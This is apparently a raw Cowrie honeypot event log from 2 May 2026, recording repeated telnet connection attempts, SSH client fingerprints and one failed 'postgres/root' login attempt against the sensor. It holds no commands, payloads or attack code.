{"eventid":"cowrie.session.closed","duration":32.844253063201904,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:41.002791Z","src_ip":"23.111.140.22","session":"18ab255d977b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.68389439582825,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:41.129626Z","src_ip":"23.111.140.22","session":"05b800de18c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50992,"dst_ip":"10.17.0.5","dst_port":23,"session":"502d6538b628","protocol":"telnet","message":"New connection: 23.111.140.22:50992 (10.17.0.5:23) [session: 502d6538b628]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:41.175723Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54234,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f10b9a124f5","protocol":"telnet","message":"New connection: 23.111.140.22:54234 (10.17.0.5:23) [session: 6f10b9a124f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:42.218008Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51180,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfe31b89de22","protocol":"telnet","message":"New connection: 23.111.140.22:51180 (10.17.0.5:23) [session: cfe31b89de22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:42.238160Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45242,"dst_ip":"10.17.0.5","dst_port":23,"session":"56a7a7912598","protocol":"telnet","message":"New connection: 23.111.140.22:45242 (10.17.0.5:23) [session: 56a7a7912598]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:42.303948Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":45656,"dst_ip":"10.17.0.5","dst_port":23,"session":"7672a62d11c5","protocol":"telnet","message":"New connection: 23.111.140.22:45656 (10.17.0.5:23) [session: 7672a62d11c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:42.444939Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56586,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3079e18de37","protocol":"telnet","message":"New connection: 23.111.140.22:56586 (10.17.0.5:23) [session: c3079e18de37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:42.914141Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53330,"dst_ip":"10.17.0.5","dst_port":23,"session":"479e0795820d","protocol":"telnet","message":"New connection: 23.111.140.22:53330 (10.17.0.5:23) [session: 479e0795820d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:42.934263Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53662,"dst_ip":"10.17.0.5","dst_port":23,"session":"e65fd77ab81f","protocol":"telnet","message":"New connection: 23.111.140.22:53662 (10.17.0.5:23) [session: e65fd77ab81f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:43.011263Z"}
{"eventid":"cowrie.session.closed","duration":32.34940958023071,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:43.037383Z","src_ip":"23.111.140.22","session":"e77ec8c696b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54356,"dst_ip":"10.17.0.5","dst_port":23,"session":"8fa06ddb2584","protocol":"telnet","message":"New connection: 23.111.140.22:54356 (10.17.0.5:23) [session: 8fa06ddb2584]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:43.254029Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58700,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce4f4e374cf7","protocol":"telnet","message":"New connection: 23.111.140.22:58700 (10.17.0.5:23) [session: ce4f4e374cf7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:43.634377Z"}
{"eventid":"cowrie.session.closed","duration":31.412453174591064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:44.430036Z","src_ip":"23.111.140.22","session":"bfdba7f632b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34438,"dst_ip":"10.17.0.5","dst_port":23,"session":"39831ba5f891","protocol":"telnet","message":"New connection: 23.111.140.22:34438 (10.17.0.5:23) [session: 39831ba5f891]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:44.887503Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34648,"dst_ip":"10.17.0.5","dst_port":23,"session":"3a05dc4db414","protocol":"telnet","message":"New connection: 23.111.140.22:34648 (10.17.0.5:23) [session: 3a05dc4db414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:44.949034Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53434,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d2b2e79f57e","protocol":"telnet","message":"New connection: 23.111.140.22:53434 (10.17.0.5:23) [session: 4d2b2e79f57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:44.966369Z"}
{"eventid":"cowrie.session.closed","duration":30.563682317733765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:45.105933Z","src_ip":"23.111.140.22","session":"79b1e92d1a2c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50719,"dst_ip":"10.17.0.5","dst_port":23,"session":"d5d909f370df","protocol":"telnet","message":"New connection: 23.111.140.22:50719 (10.17.0.5:23) [session: d5d909f370df]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:45.123975Z"}
{"eventid":"cowrie.session.closed","duration":31.774700164794922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:45.539219Z","src_ip":"23.111.140.22","session":"3a26642dfbc0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40096,"dst_ip":"10.17.0.5","dst_port":23,"session":"4b23d1349ff4","protocol":"telnet","message":"New connection: 23.111.140.22:40096 (10.17.0.5:23) [session: 4b23d1349ff4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:46.807987Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38356,"dst_ip":"10.17.0.5","dst_port":23,"session":"9494e8332d93","protocol":"telnet","message":"New connection: 23.111.140.22:38356 (10.17.0.5:23) [session: 9494e8332d93]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:47.175075Z"}
{"eventid":"cowrie.session.closed","duration":31.010302782058716,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:47.418896Z","src_ip":"23.111.140.22","session":"2146a6321dcc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.750418186187744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:48.792898Z","src_ip":"23.111.140.22","session":"e1197db0136c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.98436164855957,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:49.522394Z","src_ip":"23.111.140.22","session":"8501e555001d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.23006725311279,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:49.722913Z","src_ip":"174.138.46.234","session":"08c192d62b22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.060384035110474,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:49.786507Z","src_ip":"23.111.140.22","session":"6003b5459e69","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.318467140197754,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:49.891603Z","src_ip":"23.111.140.22","session":"6bbef3780e47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.04161024093628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:50.272029Z","src_ip":"23.111.140.22","session":"4e503e65db2f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40034,"dst_ip":"159.203.135.109","dst_port":23,"session":"540926c24c17","protocol":"telnet","message":"New connection: 174.138.46.234:40034 (159.203.135.109:23) [session: 540926c24c17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:50.396831Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42360,"dst_ip":"10.17.0.5","dst_port":23,"session":"45e98ef181db","protocol":"telnet","message":"New connection: 23.111.140.22:42360 (10.17.0.5:23) [session: 45e98ef181db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:50.590053Z"}
{"eventid":"cowrie.session.closed","duration":30.93367338180542,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:50.809625Z","src_ip":"23.111.140.22","session":"410af2f35a60","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.899418115615845,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:50.846150Z","src_ip":"23.111.140.22","session":"ed28fcf61241","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53508,"dst_ip":"10.17.0.5","dst_port":23,"session":"274fcfce8cf8","protocol":"telnet","message":"New connection: 23.111.140.22:53508 (10.17.0.5:23) [session: 274fcfce8cf8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:51.221328Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53580,"dst_ip":"10.17.0.5","dst_port":23,"session":"97698073ff18","protocol":"telnet","message":"New connection: 23.111.140.22:53580 (10.17.0.5:23) [session: 97698073ff18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:51.249426Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54094,"dst_ip":"10.17.0.5","dst_port":23,"session":"cc5bb83f45aa","protocol":"telnet","message":"New connection: 23.111.140.22:54094 (10.17.0.5:23) [session: cc5bb83f45aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:51.423343Z"}
{"eventid":"cowrie.session.closed","duration":32.15178465843201,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:51.629803Z","src_ip":"23.111.140.22","session":"ac8c5b362f66","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55634,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ef4cd1c7517","protocol":"telnet","message":"New connection: 23.111.140.22:55634 (10.17.0.5:23) [session: 6ef4cd1c7517]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:51.913874Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":40286,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c25bcd480d3","protocol":"telnet","message":"New connection: 174.138.46.234:40286 (159.203.135.109:23) [session: 5c25bcd480d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:52.223242Z"}
{"eventid":"cowrie.session.closed","duration":31.721296310424805,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:52.332862Z","src_ip":"23.111.140.22","session":"d3725366891a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.994295358657837,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:52.356266Z","src_ip":"23.111.140.22","session":"cbdedffcc68d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.30407214164734,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:52.362634Z","src_ip":"23.111.140.22","session":"c56b37317d27","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56316,"dst_ip":"10.17.0.5","dst_port":23,"session":"4cb5d96bb4f7","protocol":"telnet","message":"New connection: 23.111.140.22:56316 (10.17.0.5:23) [session: 4cb5d96bb4f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:53.145353Z"}
{"eventid":"cowrie.session.closed","duration":48.26584434509277,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:53.303366Z","src_ip":"174.138.46.234","session":"dfaac050a06f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":56788,"dst_ip":"10.17.0.5","dst_port":23,"session":"1012f020e419","protocol":"telnet","message":"New connection: 23.111.140.22:56788 (10.17.0.5:23) [session: 1012f020e419]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:53.345276Z"}
{"eventid":"cowrie.session.closed","duration":31.11996865272522,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:53.375460Z","src_ip":"23.111.140.22","session":"3b79bd0c18d9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60416,"dst_ip":"10.17.0.5","dst_port":23,"session":"f020a57ba8f9","protocol":"telnet","message":"New connection: 23.111.140.22:60416 (10.17.0.5:23) [session: f020a57ba8f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:53.605358Z"}
{"eventid":"cowrie.session.closed","duration":32.20270848274231,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:53.669792Z","src_ip":"23.111.140.22","session":"cc2cee2971a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":55178,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ccbc2592ea2","protocol":"telnet","message":"New connection: 23.111.140.22:55178 (10.17.0.5:23) [session: 9ccbc2592ea2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:53.794576Z"}
{"eventid":"cowrie.session.closed","duration":30.9651358127594,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:53.841278Z","src_ip":"23.111.140.22","session":"998ed57437bd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.235.138.43","src_port":52524,"dst_ip":"10.17.0.5","dst_port":22,"session":"06c71114a0f8","protocol":"ssh","message":"New connection: 135.235.138.43:52524 (10.17.0.5:22) [session: 06c71114a0f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:54.018887Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:54.023007Z","src_ip":"135.235.138.43","session":"06c71114a0f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.632824659347534,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:54.030438Z","src_ip":"23.111.140.22","session":"91b22ae78e31","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:54.211425Z","src_ip":"135.235.138.43","session":"06c71114a0f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.07292723655701,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:54.602667Z","src_ip":"23.111.140.22","session":"524d3d611da7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"root","message":"login attempt [postgres/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:54.995929Z","src_ip":"135.235.138.43","session":"06c71114a0f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.68536138534546,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:55.115370Z","src_ip":"23.111.140.22","session":"bae171225e1c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33898,"dst_ip":"10.17.0.5","dst_port":23,"session":"62553e51b670","protocol":"telnet","message":"New connection: 23.111.140.22:33898 (10.17.0.5:23) [session: 62553e51b670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:55.130094Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37700,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4ca06a1b845","protocol":"telnet","message":"New connection: 23.111.140.22:37700 (10.17.0.5:23) [session: f4ca06a1b845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:55.430610Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38642,"dst_ip":"10.17.0.5","dst_port":23,"session":"4274ac4193ea","protocol":"telnet","message":"New connection: 23.111.140.22:38642 (10.17.0.5:23) [session: 4274ac4193ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:55.753295Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":45550,"dst_ip":"10.17.0.5","dst_port":22,"session":"481831b0a379","protocol":"ssh","message":"New connection: 202.145.0.61:45550 (10.17.0.5:22) [session: 481831b0a379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:55.760447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:55.765131Z","src_ip":"202.145.0.61","session":"481831b0a379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.96973419189453,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:55.830642Z","src_ip":"23.111.140.22","session":"008a3d61efb5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41532,"dst_ip":"159.203.135.109","dst_port":23,"session":"3911dd50f7a9","protocol":"telnet","message":"New connection: 174.138.46.234:41532 (159.203.135.109:23) [session: 3911dd50f7a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:55.902430Z"}
{"eventid":"cowrie.session.closed","duration":36.05778169631958,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:55.929801Z","src_ip":"23.111.140.22","session":"7553109cdf83","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:56.006198Z","src_ip":"202.145.0.61","session":"481831b0a379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.70675873756409,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:56.029221Z","src_ip":"23.111.140.22","session":"afeca065ef22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.289498567581177,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:56.181005Z","src_ip":"23.111.140.22","session":"fe985794d780","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:56.188750Z","src_ip":"135.235.138.43","session":"06c71114a0f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.9810750484466553,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:56.204216Z","src_ip":"174.138.46.234","session":"5c25bcd480d3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37226,"dst_ip":"10.17.0.5","dst_port":23,"session":"5f27ce9d9c90","protocol":"telnet","message":"New connection: 23.111.140.22:37226 (10.17.0.5:23) [session: 5f27ce9d9c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:56.290345Z"}
{"eventid":"cowrie.session.closed","duration":33.675368309020996,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:56.405568Z","src_ip":"23.111.140.22","session":"372fc31c8d64","protocol":"telnet"}
